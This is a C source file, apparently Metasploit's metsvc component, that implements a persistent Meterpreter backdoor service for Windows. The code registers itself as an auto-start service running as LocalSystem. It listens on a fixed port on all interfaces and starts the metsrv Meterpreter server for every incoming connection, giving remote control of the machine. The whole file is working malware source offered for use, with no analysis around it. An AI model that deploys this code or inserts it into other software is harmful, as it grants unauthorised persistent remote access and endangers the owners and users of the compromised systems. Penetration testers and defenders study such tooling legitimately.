/* Copyright (c) 2007, Determina Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. Neither the name of Determina Inc. nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #include #include #include #include #include "metsvc.h" // // Globals // SERVICE_STATUS status; SERVICE_STATUS_HANDLE hStatus; // // Listen for incoming connections and start the Meterpreter // int start_meterpreter() { SOCKET sock = INVALID_SOCKET; DWORD err = 0; // Get the current module directory char path[MAX_PATH]; char* p; if (GetModuleFileName(NULL, path, sizeof(path)) == 0) { err = GetLastError(); printf("Cannot get module file name (0x%08x)\n", err); goto cleanup; } if ((p = strrchr(path, '\\')) == NULL) { err = -1; printf("Cannot find directory in module name %s (0x%08x)\n", path, err); goto cleanup; } *p = '\0'; // Build the server filename if (sizeof(path) - strlen(path) < sizeof(METSVC_SERVER)+1) { err = -1; printf("Cannot build server filename (0x%08x)\n", err); goto cleanup; } strncat(path, "\\", 1); strncat(path, METSVC_SERVER, sizeof(METSVC_SERVER)-1); // Initialize Winsock WSADATA wsa_data; err = WSAStartup(MAKEWORD(2, 2), &wsa_data); if (err != 0) { printf("Cannot initialize Winsock (0x%08x)\n", err); goto cleanup; } // Create socket if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) { err = WSAGetLastError(); printf("Cannot create socket (0x%08x)\n", err); goto cleanup; } // Bind to 0.0.0.0 struct sockaddr_in sockaddr; sockaddr.sin_family = AF_INET; sockaddr.sin_port = htons(PORT); sockaddr.sin_addr.s_addr = INADDR_ANY; if (bind(sock, (struct sockaddr*)&sockaddr, sizeof(sockaddr)) == SOCKET_ERROR) { err = WSAGetLastError(); printf("Cannot bind to port %d (0x%08x)\n", PORT, err); goto cleanup; } // Listen for incoming connections if (listen(sock, SOMAXCONN) == SOCKET_ERROR) { err = WSAGetLastError(); printf("Cannot listen for incoming connections (0x%08x)\n", err); goto cleanup; } printf("Meterpreter service listening on port %d\n", PORT); fflush(stdout); // Accept incoming connections while (TRUE) { SOCKET conn; sockaddr_in peer; int peer_len = sizeof(peer); if ((conn = accept(sock, (struct sockaddr*)&peer, &peer_len)) == INVALID_SOCKET) { if ((err = WSAGetLastError()) == WSAECONNRESET) continue; printf("Cannot accept an incomming connection (0x%08x)\n", err); goto cleanup; } printf("Received connection from %s\n", inet_ntoa(peer.sin_addr)); fflush(stdout); // Build the metsrv server command line char cmd[MAX_PATH]; int len = _snprintf(cmd, sizeof(cmd), "\"%s\" %d", path, conn); if (len < 0 || len == sizeof(cmd)) { err = -1; printf("Cannot build the metsrv server command line (0x%08x)\n", err); goto cleanup; } // Start the metsrv server STARTUPINFO startup_info; PROCESS_INFORMATION process_information; ZeroMemory(&startup_info, sizeof(startup_info)); startup_info.cb = sizeof(startup_info); ZeroMemory(&process_information, sizeof(process_information)); if (CreateProcess(path, cmd, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &startup_info, &process_information) == 0) { err = GetLastError(); printf("Cannot start the metsrv server %s (0x%08x)\n", path, err); goto cleanup; } // Close our copy of the socket closesocket(conn); } cleanup: // Cleanup if (sock != INVALID_SOCKET) closesocket(sock); return err; } // // Process control requests from the Service Control Manager // VOID WINAPI ServiceCtrlHandler(DWORD fdwControl) { switch (fdwControl) { case SERVICE_CONTROL_STOP: case SERVICE_CONTROL_SHUTDOWN: status.dwCurrentState = SERVICE_STOPPED; break; default: break; } if (SetServiceStatus(hStatus, &status) == 0) { printf("Cannot set service status (0x%08x)\n", GetLastError()); exit(1); } return; } // // Main function of service // VOID WINAPI ServiceMain(DWORD dwArgc, LPTSTR* lpszArgv) { // Register the service handler hStatus = RegisterServiceCtrlHandler(SERVICE_NAME, ServiceCtrlHandler); if (hStatus == 0) { printf("Cannot register service handler (0x%08x)\n", GetLastError()); exit(1); } // Initialize the service status structure status.dwServiceType = SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS; status.dwCurrentState = SERVICE_RUNNING; status.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN; status.dwWin32ExitCode = NO_ERROR; status.dwServiceSpecificExitCode = 0; status.dwCheckPoint = 0; status.dwWaitHint = 0; if (SetServiceStatus(hStatus, &status) == 0) { printf("Cannot set service status (0x%08x)\n", GetLastError()); return; } // Start the Meterpreter DWORD err = start_meterpreter(); if (err != 0) { status.dwCurrentState = SERVICE_STOPPED; status.dwWin32ExitCode = err; status.dwServiceSpecificExitCode = 0; if (SetServiceStatus(hStatus, &status) == 0) { printf("Cannot set service status (0x%08x)\n", GetLastError()); } } return; } // // Installs and starts the Meterpreter service // BOOL install_service() { SC_HANDLE hSCManager; SC_HANDLE hService; char path[MAX_PATH]; // Get the current module name if (!GetModuleFileName(NULL, path, MAX_PATH)) { printf("Cannot get module name (0x%08x)\n", GetLastError()); return FALSE; } // Build the service command line char cmd[MAX_PATH]; int len = _snprintf(cmd, sizeof(cmd), "\"%s\" service", path); if (len < 0 || len == sizeof(cmd)) { printf("Cannot build service command line (0x%08x)\n", -1); return FALSE; } // Open the service manager hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); if (hSCManager == NULL) { printf("Cannot open service manager (0x%08x)\n", GetLastError()); return FALSE; } printf(" * Installing service %s\n", SERVICE_NAME); fflush(stdout); // Create the service hService = CreateService( hSCManager, SERVICE_NAME, DISPLAY_NAME, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, cmd, NULL, NULL, NULL, NULL, /* LocalSystem account */ NULL ); if (hService == NULL) { printf("Cannot create service (0x%08x)\n", GetLastError()); CloseServiceHandle(hSCManager); return FALSE; } // Start the service printf(" * Starting service\n"); fflush(stdout); char* args[] = { path, "service" }; if (StartService(hService, 2, (const char**)&args) == 0) { DWORD err = GetLastError(); if (err != ERROR_SERVICE_ALREADY_RUNNING) { printf("Cannot start service %s (0x%08x)\n", SERVICE_NAME, err); CloseServiceHandle(hService); CloseServiceHandle(hSCManager); return FALSE; } } // Cleanup CloseServiceHandle(hService); CloseServiceHandle(hSCManager); printf("Service %s successfully installed.\n", SERVICE_NAME); fflush(stdout); return TRUE; } // // Stops and removes the Meterpreter service // BOOL remove_service() { SC_HANDLE hSCManager; SC_HANDLE hService; SERVICE_STATUS status; DWORD err; // Open the service manager hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT); if (hSCManager == NULL) { printf("Cannot open service manager (0x%08x)\n", GetLastError()); return FALSE; } // Open the service hService = OpenService(hSCManager, SERVICE_NAME, SERVICE_STOP | DELETE); if (hService == NULL) { printf("Cannot open service %s (0x%08x)\n", SERVICE_NAME, GetLastError()); CloseServiceHandle(hSCManager); return FALSE; } // Stop the service printf(" * Stopping service %s\n", SERVICE_NAME); fflush(stdout); if (ControlService(hService, SERVICE_CONTROL_STOP, &status) == 0) { err = GetLastError(); if (err != ERROR_SERVICE_NOT_ACTIVE) { printf("Cannot stop service %s (0x%08x)\n", SERVICE_NAME, err); CloseServiceHandle(hSCManager); return FALSE; } } // Delete the service printf(" * Removing service\n"); fflush(stdout); if (DeleteService(hService) == 0) { printf("Cannot delete service %s (0x%08x)\n", SERVICE_NAME); CloseServiceHandle(hSCManager); return FALSE; } // Cleanup CloseServiceHandle(hService); CloseServiceHandle(hSCManager); printf("Service %s successfully removed.\n", SERVICE_NAME); fflush(stdout); return TRUE; } // // Start the service // void start_service() { SERVICE_TABLE_ENTRY ServiceTable[] = { { SERVICE_NAME, &ServiceMain }, { NULL, NULL } }; if (StartServiceCtrlDispatcher(ServiceTable) == 0) { printf("Cannot start the service control dispatcher (0x%08x)\n", GetLastError()); exit(1); } } // // Main function // int main(int argc, char *argv[]) { if (argc == 2) { if (strcmp(argv[1], "install-service") == 0) { // Installs and starts the service install_service(); return 0; } else if (strcmp(argv[1], "remove-service") == 0) { // Stops and removes the service remove_service(); return 0; } else if (strcmp(argv[1], "service") == 0) { // Starts the Meterpreter as a service start_service(); return 0; } } // Starts the Meterpreter as a normal application start_meterpreter(); return 0; }